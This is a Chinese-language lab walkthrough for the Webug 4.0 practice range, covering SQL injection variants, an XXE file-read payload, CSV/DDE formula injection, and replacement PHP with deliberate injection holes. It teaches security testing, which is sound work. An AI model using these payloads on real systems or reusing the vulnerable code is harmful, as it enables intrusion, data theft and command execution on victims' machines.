Webug4.0靶场过关--注入

目录

显错注入

布尔注入

延时注入

post注入

过滤注入

宽字节注入

xxe注入

csv注入


注:靶场搭建已经在上一篇文章中做了详细的阐述

显错注入

        根据有没有sql语法报错,判断sql语句是否执行成功。

        打开显错注入靶场,在这里,我使用的是hackbar插件工具,大家做的时候可以直接在url栏中构造payload。url栏和hackbar中构造的效果是一样的。

         1.尝试在url后面拼接单双引号,观察页面变化。当拼接单引号时,发现页面报错,

         由此判断,后台的sql语句是由单引号闭合的。

        2.使用order by猜解字段,

' order by 2 --+
' order by 3 --+

         当使用' order by 3 --+时报错,使用' order by 2 --+时不报错,可以判断出该数据表有两个字段值。

        3.联合查询判断爆数据表的值,

-1' union select 1,2 --+           //判断显示位置

-1' union select 1,database() --+  //查询数据库名  --webug

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema="webug" --+           //查询webug数据库中的数据表名  --data_crud,env_list,env_path,flag,sqlinjection,user,user_test 

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema="webug" and table_name="flag" --+    //查询flag表中的字段名  --id,flag

-1' union select 1,group_concat(id,"-",flag) from webug.flag --+  //查询字段值  --1-dfafdasfafdsadfa 

        提交flag:dfafdasfafdsadfa

布尔注入

        根据页面能否正常显示,判断sql语句是否执行成功。

        SUBSTR函数作用:SUBSTR函数是用来截取数据库某一列字段中的一部分;语法,SUBSTR(str,pos,len);就是从pos开始的位置,截取len个字符(空白也算字符)。

        后台sql语句执行出错,页面就不正常显示,如图

         后台sql语句执行无误,页面就正常显示,如图

         payload如下:

?id=-1' or length(database())=5 --+   //判断数据库名的长度
?id=-1' or substr(database(),1,1)="a" --+  //判断数据库名每个位置的字母,建议使用burpsuite中的爆破模块
?id=-1' or substr((select group_concat(table_name) from information_schema.tables where table_schema="webug"),1,1)="a" --+     //猜解数据表名 
?id=-1' or substr((select group_concat(column_name) from information_schema.columns where table_schema="webug" and table_name="flag"),1,1)="i" --+     //猜解webug数据库下,flag表中的字段名
?id=-1' or substr((select group_concat(flag) from webug.flag),1,1)="1" --+  //猜解字段值

        布尔盲注时,建议使用burpsuite中的爆破模块,

        第一步,浏览器设置代理到burpsuite,火狐浏览器--设置--常规,网络设置--勾选手动配置代理,如下图所示

         第二步,打开burpsuite,proxy模块开启拦截,然后在火狐访问http://(靶场ip)/webug/control/sqlinject/bool_injection.php?id=-1' or length(database())=5 --+,此时在burpsuite的proxy模块会拦截到数据包,

         第三步,右击send to intruder,将拦截到的数据包发送到爆破模块,首先点击右侧的clear §,清除所有的变量符,然后选中长度的值,点击右侧add §,将长度值设置为变量,

        第四步,切换到payloads模式下,在payload sets中将payload type设置为numbers,在payload options中设置from 1,to 10,step 1,点击start attack开始爆破。

        爆破成功,正确的值,length值跟别的不一样,

         由此可知,数据库名的长度为5,

        接下来爆破数据库名,

        第一步,浏览器设置代理到burpsuite,火狐浏览器--设置--常规,网络设置--勾选手动配置代理,如下图所示

        第二步,打开burpsuite,proxy模块开启拦截,然后在火狐访问http://(靶场ip)/webug/control/sqlinject/bool_injection.php?id=-1' or substr(database(),1,1)="a" --+,此时在burpsuite的proxy模块会拦截到数据包,

        第三步,右击send to intruder,将拦截到的数据包发送到爆破模块,首先点击右侧的clear §,清除所有的变量符。然后选中substr()函数的第二个值,点击右侧add §,将数据库名要爆破的起始位置的值设置为变量。再选中双引号中的字母,点击右侧add §,将数据库名在该位置的值设置为变量。切记在多个变量的情况下,将attack type设置为cluster bomb

         第四步,切换到payloads模式下,在payload set中将payload set选为1,给第一个变量设置字典,在payload set中将payload type设置为numbers,在payload options中设置from 1,to 10,step 1;在payload set中将payload set选为2,给第二个变量设置字典,在payload set中将payload type设置为simple list,在payload options中,add from list中选中a-z;点击start attack开始爆破。

         爆破成功,数据表名为webug。

        接着爆破表明,字段,字段值,步骤跟爆破数据库名时一样。 

        最终得到flag为:fdsafsdfa

延时注入

        延时注入,使用if()、sleep()函数,根据sleep函数的参数值,观察页面是否在对应时间之后加载成功,

        IF函数作用:语法,IF(expr1,expr2,expr3) ;expr1 的值为 TRUE,则返回值为 expr2;expr1 的值为FALSE,则返回值为 expr3;其中,expr1是判断条件,expr2和expr3是符合expr1的自定义的返回结果。

?id=1' and if((length(database())=1),sleep(5),1) --+    //判断数据库名的长度,若数据库名的长度正确,则页面将会在5s之后加载成功。
?id=1' and if((substr(database(),1,1)="a"),sleep(5),1) --+    //猜解数据库名, --webug
?id=1' and if(((substr((select group_concat(table_name) from information_schema.tables where table_schema="webug"),1,1))="a"),sleep(5),1) --+   //猜解数据表名
?id=1' and if(((substr((select group_concat(column_name) from information_schema.columns where table_schema="webug" and table_name="flag"),1,1))="a"),sleep(5),1) --+    //猜解字段名
?id=1' and if(((substr((select flag from webug.flag),1,1))="a"),sleep(5),1) --+ //猜解字段值

        细心的同学可能会发现,在上一个布尔注入是,我用的是?id=-1' or,在这里我用的是?id=1' and,其实这两种都可以。

        or表示或关系,两者只要有一个为真或者两者全为真,则正确返回,在or关系中特意将id=1改为id=-1,将id值强行变为假(id=-1是不存在的),所以只有后面拼接的sql语句为真是,页面正常返回。

        and表示与关系。只有当两者全为真时,页面正常返回,所以在and中id=1为真,只有后面拼接的sql语句为真是,页面正常返回。

        使用burpsuite爆破,同上布尔注入。flag为:gfdgdfsdg

post注入

        post注入,首先了解post传参方式,post传的参数在http请求的请求体中。本关我们在这里使用burpsuite代理拦截,将拦截到的请求体中的字段值复制下来,在浏览时是用hackbar插件来进行sql注入,将复制下来的字段值粘贴到post输入框中,接下来就开始大战拳脚吧!!!

        本关为post注入,首先观察整个页面,发现只有搜索框的位置可以触发页面响应,于是,我们先输入正常字符1,发现页面只是刷新,并没有其他动作,然后输入单引号,发现页面会报sql语法错误,输入双引号,则只是简单的刷新页面,所以我们初步判断,该处后台的sql语句是由单引号闭合的。

         接着在单引号后输入#,发现页面正常显示,输入之前的--+也报sql语法错误,这里有一点需要记住,在post注入中是用#来注释的。

        接下来就上“三板斧”,第一步判断字段是数:

keyWordName=1' order by 1 #     //页面正常显示
keyWordName=1' order by 2 #     //页面正常显示
keyWordName=1' order by 3 #     //页面报sql语法错误,由此断定,该处数据表有两个字段

        第二步判断注入方式:首先,可以确定,这里不能使用union select联合查询,因为联合查询条件是单引号前面得构造报错,联合查询才会起作用,这里的注入点是搜索框,不方便构造报错。所以联合注入不可行。其次布尔注入也不行,因为页面不会变化。再来试试延时注入:

keyWordName=1' or sleep(5) #      //发现页面会延时显示,本关中我们使用延时注入。
keyWordName=1' or if(length(database())=5,sleep(5),1) #    //判断数据库名的长度
keyWordName=1' or if(substr(database(),1,1)="w",sleep(5),1) #   //猜解数据库名,
keyWordName=1' or if(((substr((select group_concat(table_name) from information_schema.tables where table_schema="webug"),1,1))="a"),sleep(5),1) #    //猜解数据表名
keyWordName=1' or if(((substr((select group_concat(column_name) from information_schema.columns where table_schema="webug" and table_name="flag"),1,1))="a"),sleep(5),1) #       //猜解字段名
keyWordName=1' or if(((substr((select flag from webug.flag),1,1))="a"),sleep(5),1) #    //猜解字段值

        因为猜解时是挨个字母猜解,所以我们还是使用burpsuite中的intruder模块辅助进行,在上面的关卡中有详细的步骤,这里不做过多的赘述。

        最终flag为:dsfasdczxcg

过滤注入

        本关中,过滤了select字符串,当我们单独输入select时,页面会出现警告弹窗。

         经过测试,发现除了单独的select,其他的字符串都没有被过滤,

        本关站点跟post注入站点相同,使用跟post注入一样的注入方式,最终得到flag为:safsafasdfasdf

宽字节注入

        加个单引号,页面没有报错,反而多了一个转义符(反斜杠)

        当传入id=1’时,传入的单引号被转义符转义,导致参数ID无法逃逸单引号的包围,所以在一般情况下,此处是不存在SQL注入漏洞的。不过有一个特例,就是当数据库编码为GBK时,可以使用宽字节注入,宽字节的格式是在地址后加一个%df,再加单引号,因为反斜杠的url编码为%5c,而在GBK编码中,%df%5c是一个繁体字(我打不出来。),所以这时,单引号成功逃逸,爆出Mysql数据库的错误

        这时就符合SQL语句了,按照显错注入来就行

        最终得到flag为:dfsadfsadfas

xxe注入

      xxe漏洞:XML外部实体注入(XML External Entity)简称XXE漏洞,XML用于标记电子文件使其具体结构性的标记语言,可以用来标记数据,定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言,XML文档结构包括XML声明,DTD文档类型定义,文档元素。

        xxe语法结构:

<?xml version="1.0"?>XML声明
<!DOCTYPE note [
<!ELEMENT note(to,from,heading,body)>
<!ELEMENT to(#PCDATA)>
<!ELEMENT from(#PCDATA)>            文档定义类型(DATA)
<!ELEMENT heading(#PCDATA)>
<!ELEMENT body(#PCDATA)>
]>
<note>
<to>tove</to>
<from>jani</from>
<heading>reminder</heading>
<body>don't forget me this weekend</body>            文档元素
</note>


内部声明DTD格式:
引用外部DTD格式:
在DTD中进行实体声明时,将使用ENTITY关键词来声明,实体是用于定义引用普通文本或特殊字符的快捷方式的变量,实体可在内部或外部进行声明,如下所示
内部声明实体格式:<!ENTITY 实体名称 "实体的值">
引用外部实体格式:<!ENTITY 实体名称 SYSTEMT "URL">

        本关中由于靶场环境原因,需要我们自己在c盘更目录下新建一个flag.txt文档,

        构造xml用于读取flag文件:

<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY B SYSTEM "file:///c:/flag.txt">
]>
<xml>
    <xxe>&B;</xxe>
</xml>

        由于xml语句中存在换行,所以我们需要将此payload用url编码进行编码。

%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%41%4e%59%20%5b%0a%20%20%20%20%3c%21%45%4e%54%49%54%59%20%42%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%63%3a%2f%66%6c%61%67%2e%74%78%74%22%3e%0a%5d%3e%0a%3c%78%6d%6c%3e%0a%20%20%20%20%3c%78%78%65%3e%26%42%3b%3c%2f%78%78%65%3e%0a%3c%2f%78%6d%6c%3e

        接下来我们开始XXE漏洞的任意文件读取,首先开启burpsuite代理拦截,在靶场页面输入框随便输入字符,burpsuite拦截到之后,右击send to repeater,在repeater模块中,将请求体中的date=之后的内容,换成刚刚我们编码好的payload,再点击send发送报文,

         在回应包中会含有我们所读取文件的内容。

        最终的flag为:ddfasdfsafsadfsd

csv注入

        这个靶场环境有问题,首先我们需要把网站根目录下的control\sqlinject里的csv_vuln.php文件中的内容替换为以下内容:

<?php
	$conn = mysqli_connect('localhost', 'root', 'root', 'webug');
	if ($conn) {
        $sql = "select * from data_crud";
        $res = $conn->query($sql);
    }
	if (isset($_POST['daochu'])){
		$headerArray = ['name','age','email'];
		$string = implode(",",$headerArray)."\n";//先做出表头
				
		while (list($id, $name, $age, $email, $deflag) = mysqli_fetch_row($res)){

			$data = [
				['name'=>urldecode($name),'age'=>urldecode($age),'email'=>urldecode($email)]
			];

			foreach ($data as $key => $value) {
			//把需要的字段一一对应起来,如果已经对应好 直接 $outArray = $value;
				$outArray['name'] = $value['name'];
				$outArray['age'] = $value['age'];
				$outArray['email'] = $value['email'];
				$string .= implode(",",$outArray)."\n"; //用英文逗号分开 
			}
			}
			@$filename = date('Ymd').'.csv'; //设置文件名
			header("Content-type:text/csv");
			header("Content-Disposition:attachment;filename=".$filename);
			header('Cache-Control:must-revalidate,post-check=0,pre-check=0');
			header('Expires:0');
			header('Pragma:public');
			exit(mb_convert_encoding($string, "GBK", "UTF-8"));
			}
?>

<?php
require_once "../../common/common.php";
if (!isset($_SESSION['user'])) {
    header("Location:../login.php");
}
?>
<!doctype html>
<html>

<head>
    <meta charset="utf-8">
    <title></title>
</head>
<style>
    body{font-family: Arial, Helvetica, sans-serif;}
    table{border-collapse: collapse;
        width: 50%;
        text-align: center;}
    td,th{border:1px solid #ccc; padding: 2px 5px;}
    button{padding: 5px;}
    div {
        line-height: 3;
    }
</style>
<body>
<?php
    $conn = mysqli_connect('localhost', 'root', 'root', 'webug');
	$i_name =  urlencode($_POST[name]);
	$i_age =  urlencode($_POST[age]);
	$i_email =  urlencode($_POST[email]);
	if ($conn) {
		if ($i_name != null && $i_age != null && $i_email != null){
			$sql = "INSERT INTO data_crud(name,age,email) VALUES ('$i_name','$i_age','$i_email')";
			$res = $conn->query($sql);
		}
	}
    if ($conn) {
        $sql = "select * from data_crud";
        $res = $conn->query($sql);
    }
?>
    <table id="table">
        <tr>
            <th>Name</th>
            <th>Age</th>
            <th>Email</th>
        </tr>
        <?php

        if ($res) {

            while (list($id, $name, $age, $email, $deflag) = mysqli_fetch_row($res)){
                echo '<tr>';
                echo '<input type="text" hidden="hidden" name="id[]" value="'.$id.'">';
                echo '<td><div contenteditable="true">'.urldecode($name).'</div></td>';
                echo '<td><div contenteditable="true">'.urldecode($age).'</div></td>';
                echo  '<td><div contenteditable="true">'.urldecode($email).'</div></td>';
                echo '</tr>';
            }
        }
        ?>
    </table>
	
	<form action="#" method="post">
		<input name="daochu" type="submit" value="导出"/>
		
		

		
	</form>
	<br>
	<h2>添加新用户信息</h2>
<form action="#" method="post">
	<table id="table">
		<tr>
			<td>Name</td>
			<td>Age</td>
			<td>Email</td>
		</tr>
		<tr>
			<td><input name="name" type="text" size="20"/></td>
			<td><input name="age" type="text" size="20"/></td>
			<td><input name="email" type="text" size="20"/></td>
		</tr>
	</table>
    <div>
	<input name="submit" type="submit" value="确认添加"/>
 </form>
		
        
    </div>
</body>
<script src="../../../aa/html/table-to-excel.js"></script>
    <script>
        var tableToExcel = new TableToExcel();
        document.getElementById('button').onclick = function () {

            tableToExcel.render("table");

        };
        
    </script>
</html>

        内容改完之后,还需要将小皮面板中的php版本改为5.4.45。

         改完以上内容,该靶场就可以使用了,

        csv注入:CSV公式注入(CSV Injection)是一种会造成巨大影响的攻击向量。攻击包含向恶意的EXCEL公式中注入可以输出或以CSV文件读取的参数。当在Excel中打开CSV文件时,文件会从CSV描述转变为原始的Excel格式,包括Excel提供的所有动态功能。在这个过程中,CSV中的所有Excel公式都会执行。当该函数有合法意图时,很易被滥用并允许恶意代码执行。

        cvs注入的原理是:当输入一个公式,会被Excel自动运算并执行。而当你输入一个别的Excel本身不存在的功能时,Excel就会被微软的另一种机制:DDE机制调用。例如:在表格中输入格式:=cmd|' /C calc'!A0,执行cmd弹出计算器。会有弹框的,当点击是之后,会弹出计算机,

        DDE是一种动态数据交换机制(Dynamic Data Exchange,DDE)。使用DDE通讯需要两个Windows应用程序,其中一个作为服务器处理信息,另外一个作为客户机从服务器获得信息。客户机应用程序向当前所激活的服务器应用程序发送一条消息请求信息,服务器应用程序根据该信息作出应答,从而实现两个程序之间的数据交换 。

        言归正传,我们接着聊这个靶场,接下来,我们在靶场页面添加新用户信息中,输入=1+cmd|' /C calc'!A0,添加之后,点击导出,

         然后打开导出的csv文件,如果受害者盲目点是,不看提示的话,就会中招,将会打开计算机窗口。

        至此,webug靶场中关于注入的过关秘籍已更新完毕,读者有不明白的地方,请将疑惑发在评论区,我会统一回复的,

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值